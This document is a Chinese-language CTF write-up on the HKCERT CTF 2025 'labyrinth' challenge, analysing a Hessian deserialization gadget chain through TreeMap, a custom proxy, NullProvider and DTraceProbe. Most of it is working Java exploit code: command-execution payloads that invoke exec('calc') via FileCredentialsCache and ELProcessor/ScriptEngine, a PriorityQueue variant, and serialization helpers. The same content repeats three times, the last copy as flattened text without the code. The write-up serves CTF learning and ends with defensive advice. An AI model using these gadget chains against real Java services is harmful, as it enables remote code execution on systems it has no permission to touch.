HKCERT CTF 2025 labyrinth反序列化学习
字数 1422
更新时间 2025-12-31 12:36:41

HKCERT CTF 2025 labyrinth反序列化漏洞分析与利用

1. 环境依赖与题目背景

1.1 环境配置

  • 反序列化入口: Hessian反序列化接口
  • 依赖版本: hessian-lite-4.0.5(最新版)
  • 关键类: 自定义代理类CustomProxy
  • 配置: 开启了setAllowNonSerializable(true),允许反序列化非Serializable

1.2 题目特点

题目提供了一个Hessian反序列化入口,并引入了自定义的CustomProxy类,该类规定了方法名必须为compareTo,这为后续利用提供了基础。

2. 漏洞利用链分析

2.1 整体利用链

in.readObject()->
TreeMap.put()->
Comparable.compareTo()->
CustomProxy.compareTo(o)->
InvocationHandler.invoke(this, m3, {o})->
ProviderSkeleton.invoke->
ProviderSkeleton.triggerProbe->
sun.tracing.dtrace.DTraceProbe.uncheckedTrigger->
method.invoke(proxy,args)->
构造方法(有参)

2.2 关键触发点

在Hessian反序列化过程中,关键触发点在于map.put操作:

  • HashMap: 触发key.hashCode()key.equals(k)
  • TreeMap: 触发key.compareTo()

3. TreeMap构造技术

3.1 序列化过程分析

当Hessian对反射构造的TreeMap进行序列化时,采用中序遍历(左-中-右):

  1. 左节点为空,先读取根节点(代理对象的构造方法参数)
  2. 读取右节点(代理类)

3.2 反序列化过程

  1. Hessian创建空TreeMap,读取第一个元素(代理对象的构造方法参数)
  2. 执行treeMap.put(params, val)
  3. 读取第二个元素,执行treeMap.put(Proxy, val)
  4. 由于key是CustomProxy,触发compareTo()方法,传入参数为代理对象的构造方法参数

3.3 TreeMap构造代码

public static TreeMap<Object,Object> MyTreeMap(Object proxy, Object params) throws Exception {
    Class<?> e = Class.forName("java.util.TreeMap$Entry");
    Constructor<?> declaredConstructor1 = e.getDeclaredConstructor(Object.class, Object.class, e);
    declaredConstructor1.setAccessible(true);
    Object a = declaredConstructor1.newInstance(params, 1, null);
    
    Constructor<?> declaredConstructor2 = e.getDeclaredConstructor(Object.class, Object.class, e);
    declaredConstructor2.setAccessible(true);
    Object o1 = declaredConstructor2.newInstance(proxy, 2, a);
    
    Class<?> t = Class.forName("java.util.TreeMap");
    TreeMap treeMap = (TreeMap) t.newInstance();
    
    Field size = t.getDeclaredField("size");
    size.setAccessible(true);
    size.set(treeMap,2);
    
    Field root = t.getDeclaredField("root");
    root.setAccessible(true);
    root.set(treeMap,a);
    
    Field right = e.getDeclaredField("right");
    right.setAccessible(true);
    right.set(a,o1);
    
    return treeMap;
}

4. 动态代理利用技术

4.1 CVE-2021-39149参考链

java.util.LinkedHashSet
java.lang.reflect.Proxy
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
sun.tracing.NullProvider
sun.tracing.dtrace.DTraceProbe
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

4.2 ProviderSkeleton分析

sun.tracing.NullProvider继承自ProviderSkeleton抽象类,关键特性:

  • 没有实现invoker方法,调用父类的invoke方法
  • 需要设置activeproviderTypeprobes字段

4.3 DTraceProbe利用

DTraceProbeuncheckedTrigger方法通过反射调用:

public static Object getDTraceProbe(Object proxy, Method method) throws Exception {
    Object dTraceProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));
    setFieldValue(dTraceProbe,"proxy", proxy);
    setFieldValue(dTraceProbe,"implementing_method", method);
    return dTraceProbe;
}

5. 最终利用方案

5.1 命令执行利用

public static void main(String[] args) throws Exception {
    Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
    exec.setAccessible(true);
    Object dTraceProbe = getDTraceProbe(FileCredentialsCache.class,exec);
    
    HashMap map = new HashMap();
    Method compareTo = Comparable.class.getDeclaredMethod("compareTo", Object.class);
    map.put(compareTo, dTraceProbe);
    
    InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.MultiplexProvider"));
    setFieldValue(handler, "active", true);
    setFieldValue(handler, "providerType", Class.forName(Comparable.class.getName()));
    setFieldValue(handler, "probes", map);
    
    Object objCompareTo = new CustomProxy(handler, compareTo);
    deser(MyTreeMap(objCompareTo,"calc"));
}

5.2 EL表达式利用(内存马)

public static void main(String[] args) throws Exception {
    Class<?> elClass = Class.forName("javax.el.ELProcessor");
    Object elInstance = elClass.newInstance();
    Method evalMethod = elClass.getMethod("eval", String.class);
    Object dTraceProbe = getDTraceProbe(elInstance,evalMethod);
    
    HashMap map = new HashMap();
    Method method = Comparable.class.getMethod("compareTo", Object.class);
    map.put(method, dTraceProbe);
    
    InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
    setFieldValue(handler,"active", true);
    setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
    setFieldValue(handler, "probes", map);
    
    String params = """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")";
    Object objCompareTo = new CustomProxy(handler, method);
    TreeMap treeMap = MyTreeMap(objCompareTo,params);
    deser(treeMap);
}

6. 拓展利用技术

6.1 PriorityQueue替代方案

public static void main(String[] args) throws Exception {
    Object dTraceProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));
    Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
    exec.setAccessible(true);
    setFieldValue(dTraceProbe,"proxy", FileCredentialsCache.class);
    setFieldValue(dTraceProbe,"implementing_method", exec);
    
    HashMap map = new HashMap();
    Method method = Comparable.class.getMethod("compareTo", Object.class);
    map.put(method, dTraceProbe);
    
    InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
    Object objCompareTo = new CustomProxy(handler, method);
    setFieldValue(handler,"active", true);
    setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
    setFieldValue(handler, "probes", map);
    
    PriorityQueue queue = new PriorityQueue(1);
    setFieldValue(queue, "size", 2);
    setFieldValue(queue, "queue", new Object[]{"calc",objCompareTo});
    deser(queue);
}

6.2 直接使用Proxy的挑战

尝试直接使用java.lang.reflect.Proxy替代CustomProxy时遇到问题:

  • getNode方法中,first.key与传入的key不匹配(多出signature字段)
  • 最终返回null,利用失败

7. 工具函数

7.1 反序列化函数

public static void deser(Object o) throws Exception {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    Hessian2Output output = new Hessian2Output(baos);
    output.getSerializerFactory().setAllowNonSerializable(true);
    output.writeObject(o);
    output.flush();
    output.close();
    
    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    Hessian2Input input = new Hessian2Input(bais);
    input.getSerializerFactory().setAllowNonSerializable(true);
    input.readObject();
}

7.2 反射工具函数

// 创建无构造函数的对象
public static Object createWithoutConstructor(Class clazz) throws Exception {
    Object instance = null;
    Constructor constroctor = clazz.getDeclaredConstructor();
    constroctor.setAccessible(true);
    instance = constroctor.newInstance();
    return instance;
}

// 设置字段值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

8. 防御建议

  1. 输入验证: 对Hessian反序列化输入进行严格验证
  2. 黑白名单: 实现类加载的白名单机制
  3. 依赖升级: 及时更新hessian-lite到安全版本
  4. 安全配置: 避免开启setAllowNonSerializable(true)
  5. 代码审计: 定期审计自定义代理类的安全性

本教学文档详细分析了HKCERT CTF 2025 labyrinth题目的反序列化漏洞利用技术,涵盖了从基础原理到高级利用的完整知识体系。

HKCERT CTF 2025 labyrinth反序列化漏洞分析与利用

1. 环境依赖与题目背景

1.1 环境配置

  • 反序列化入口: Hessian反序列化接口
  • 依赖版本: hessian-lite-4.0.5(最新版)
  • 关键类: 自定义代理类CustomProxy
  • 配置: 开启了setAllowNonSerializable(true),允许反序列化非Serializable

1.2 题目特点

题目提供了一个Hessian反序列化入口,并引入了自定义的CustomProxy类,该类规定了方法名必须为compareTo,这为后续利用提供了基础。

2. 漏洞利用链分析

2.1 整体利用链

in.readObject()->
TreeMap.put()->
Comparable.compareTo()->
CustomProxy.compareTo(o)->
InvocationHandler.invoke(this, m3, {o})->
ProviderSkeleton.invoke->
ProviderSkeleton.triggerProbe->
sun.tracing.dtrace.DTraceProbe.uncheckedTrigger->
method.invoke(proxy,args)->
构造方法(有参)

2.2 关键触发点

在Hessian反序列化过程中,关键触发点在于map.put操作:

  • HashMap: 触发key.hashCode()key.equals(k)
  • TreeMap: 触发key.compareTo()

3. TreeMap构造技术

3.1 序列化过程分析

当Hessian对反射构造的TreeMap进行序列化时,采用中序遍历(左-中-右):

  1. 左节点为空,先读取根节点(代理对象的构造方法参数)
  2. 读取右节点(代理类)

3.2 反序列化过程

  1. Hessian创建空TreeMap,读取第一个元素(代理对象的构造方法参数)
  2. 执行treeMap.put(params, val)
  3. 读取第二个元素,执行treeMap.put(Proxy, val)
  4. 由于key是CustomProxy,触发compareTo()方法,传入参数为代理对象的构造方法参数

3.3 TreeMap构造代码

public static TreeMap<Object,Object> MyTreeMap(Object proxy, Object params) throws Exception {
    Class<?> e = Class.forName("java.util.TreeMap$Entry");
    Constructor<?> declaredConstructor1 = e.getDeclaredConstructor(Object.class, Object.class, e);
    declaredConstructor1.setAccessible(true);
    Object a = declaredConstructor1.newInstance(params, 1, null);
    
    Constructor<?> declaredConstructor2 = e.getDeclaredConstructor(Object.class, Object.class, e);
    declaredConstructor2.setAccessible(true);
    Object o1 = declaredConstructor2.newInstance(proxy, 2, a);
    
    Class<?> t = Class.forName("java.util.TreeMap");
    TreeMap treeMap = (TreeMap) t.newInstance();
    
    Field size = t.getDeclaredField("size");
    size.setAccessible(true);
    size.set(treeMap,2);
    
    Field root = t.getDeclaredField("root");
    root.setAccessible(true);
    root.set(treeMap,a);
    
    Field right = e.getDeclaredField("right");
    right.setAccessible(true);
    right.set(a,o1);
    
    return treeMap;
}

4. 动态代理利用技术

4.1 CVE-2021-39149参考链

java.util.LinkedHashSet
java.lang.reflect.Proxy
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
sun.tracing.NullProvider
sun.tracing.dtrace.DTraceProbe
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

4.2 ProviderSkeleton分析

sun.tracing.NullProvider继承自ProviderSkeleton抽象类,关键特性:

  • 没有实现invoker方法,调用父类的invoke方法
  • 需要设置activeproviderTypeprobes字段

4.3 DTraceProbe利用

DTraceProbeuncheckedTrigger方法通过反射调用:

public static Object getDTraceProbe(Object proxy, Method method) throws Exception {
    Object dTraceProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));
    setFieldValue(dTraceProbe,"proxy", proxy);
    setFieldValue(dTraceProbe,"implementing_method", method);
    return dTraceProbe;
}

5. 最终利用方案

5.1 命令执行利用

public static void main(String[] args) throws Exception {
    Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
    exec.setAccessible(true);
    Object dTraceProbe = getDTraceProbe(FileCredentialsCache.class,exec);
    
    HashMap map = new HashMap();
    Method compareTo = Comparable.class.getDeclaredMethod("compareTo", Object.class);
    map.put(compareTo, dTraceProbe);
    
    InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.MultiplexProvider"));
    setFieldValue(handler, "active", true);
    setFieldValue(handler, "providerType", Class.forName(Comparable.class.getName()));
    setFieldValue(handler, "probes", map);
    
    Object objCompareTo = new CustomProxy(handler, compareTo);
    deser(MyTreeMap(objCompareTo,"calc"));
}

5.2 EL表达式利用(内存马)

public static void main(String[] args) throws Exception {
    Class<?> elClass = Class.forName("javax.el.ELProcessor");
    Object elInstance = elClass.newInstance();
    Method evalMethod = elClass.getMethod("eval", String.class);
    Object dTraceProbe = getDTraceProbe(elInstance,evalMethod);
    
    HashMap map = new HashMap();
    Method method = Comparable.class.getMethod("compareTo", Object.class);
    map.put(method, dTraceProbe);
    
    InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
    setFieldValue(handler,"active", true);
    setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
    setFieldValue(handler, "probes", map);
    
    String params = """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")";
    Object objCompareTo = new CustomProxy(handler, method);
    TreeMap treeMap = MyTreeMap(objCompareTo,params);
    deser(treeMap);
}

6. 拓展利用技术

6.1 PriorityQueue替代方案

public static void main(String[] args) throws Exception {
    Object dTraceProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));
    Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
    exec.setAccessible(true);
    setFieldValue(dTraceProbe,"proxy", FileCredentialsCache.class);
    setFieldValue(dTraceProbe,"implementing_method", exec);
    
    HashMap map = new HashMap();
    Method method = Comparable.class.getMethod("compareTo", Object.class);
    map.put(method, dTraceProbe);
    
    InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
    Object objCompareTo = new CustomProxy(handler, method);
    setFieldValue(handler,"active", true);
    setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
    setFieldValue(handler, "probes", map);
    
    PriorityQueue queue = new PriorityQueue(1);
    setFieldValue(queue, "size", 2);
    setFieldValue(queue, "queue", new Object[]{"calc",objCompareTo});
    deser(queue);
}

6.2 直接使用Proxy的挑战

尝试直接使用java.lang.reflect.Proxy替代CustomProxy时遇到问题:

  • getNode方法中,first.key与传入的key不匹配(多出signature字段)
  • 最终返回null,利用失败

7. 工具函数

7.1 反序列化函数

public static void deser(Object o) throws Exception {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    Hessian2Output output = new Hessian2Output(baos);
    output.getSerializerFactory().setAllowNonSerializable(true);
    output.writeObject(o);
    output.flush();
    output.close();
    
    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    Hessian2Input input = new Hessian2Input(bais);
    input.getSerializerFactory().setAllowNonSerializable(true);
    input.readObject();
}

7.2 反射工具函数

// 创建无构造函数的对象
public static Object createWithoutConstructor(Class clazz) throws Exception {
    Object instance = null;
    Constructor constroctor = clazz.getDeclaredConstructor();
    constroctor.setAccessible(true);
    instance = constroctor.newInstance();
    return instance;
}

// 设置字段值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

8. 防御建议

  1. 输入验证: 对Hessian反序列化输入进行严格验证
  2. 黑白名单: 实现类加载的白名单机制
  3. 依赖升级: 及时更新hessian-lite到安全版本
  4. 安全配置: 避免开启setAllowNonSerializable(true)
  5. 代码审计: 定期审计自定义代理类的安全性

本教学文档详细分析了HKCERT CTF 2025 labyrinth题目的反序列化漏洞利用技术,涵盖了从基础原理到高级利用的完整知识体系。

HKCERT CTF 2025 labyrinth反序列化漏洞分析与利用 1. 环境依赖与题目背景 1.1 环境配置 反序列化入口 : Hessian反序列化接口 依赖版本 : hessian-lite-4.0.5(最新版) 关键类 : 自定义代理类 CustomProxy 配置 : 开启了 setAllowNonSerializable(true) ,允许反序列化非 Serializable 类 1.2 题目特点 题目提供了一个Hessian反序列化入口,并引入了自定义的 CustomProxy 类,该类规定了方法名必须为 compareTo ,这为后续利用提供了基础。 2. 漏洞利用链分析 2.1 整体利用链 2.2 关键触发点 在Hessian反序列化过程中,关键触发点在于 map.put 操作: HashMap : 触发 key.hashCode() 和 key.equals(k) TreeMap : 触发 key.compareTo() 3. TreeMap构造技术 3.1 序列化过程分析 当Hessian对反射构造的TreeMap进行序列化时,采用 中序遍历 (左-中-右): 左节点为空,先读取根节点(代理对象的构造方法参数) 读取右节点(代理类) 3.2 反序列化过程 Hessian创建空TreeMap,读取第一个元素(代理对象的构造方法参数) 执行 treeMap.put(params, val) 读取第二个元素,执行 treeMap.put(Proxy, val) 由于key是 CustomProxy ,触发 compareTo() 方法,传入参数为代理对象的构造方法参数 3.3 TreeMap构造代码 4. 动态代理利用技术 4.1 CVE-2021-39149参考链 4.2 ProviderSkeleton分析 sun.tracing.NullProvider 继承自 ProviderSkeleton 抽象类,关键特性: 没有实现 invoker 方法,调用父类的 invoke 方法 需要设置 active 、 providerType 、 probes 字段 4.3 DTraceProbe利用 DTraceProbe 的 uncheckedTrigger 方法通过反射调用: 5. 最终利用方案 5.1 命令执行利用 5.2 EL表达式利用(内存马) 6. 拓展利用技术 6.1 PriorityQueue替代方案 6.2 直接使用Proxy的挑战 尝试直接使用 java.lang.reflect.Proxy 替代 CustomProxy 时遇到问题: 在 getNode 方法中, first.key 与传入的 key 不匹配(多出signature字段) 最终返回null,利用失败 7. 工具函数 7.1 反序列化函数 7.2 反射工具函数 8. 防御建议 输入验证 : 对Hessian反序列化输入进行严格验证 黑白名单 : 实现类加载的白名单机制 依赖升级 : 及时更新hessian-lite到安全版本 安全配置 : 避免开启 setAllowNonSerializable(true) 代码审计 : 定期审计自定义代理类的安全性 本教学文档详细分析了HKCERT CTF 2025 labyrinth题目的反序列化漏洞利用技术,涵盖了从基础原理到高级利用的完整知识体系。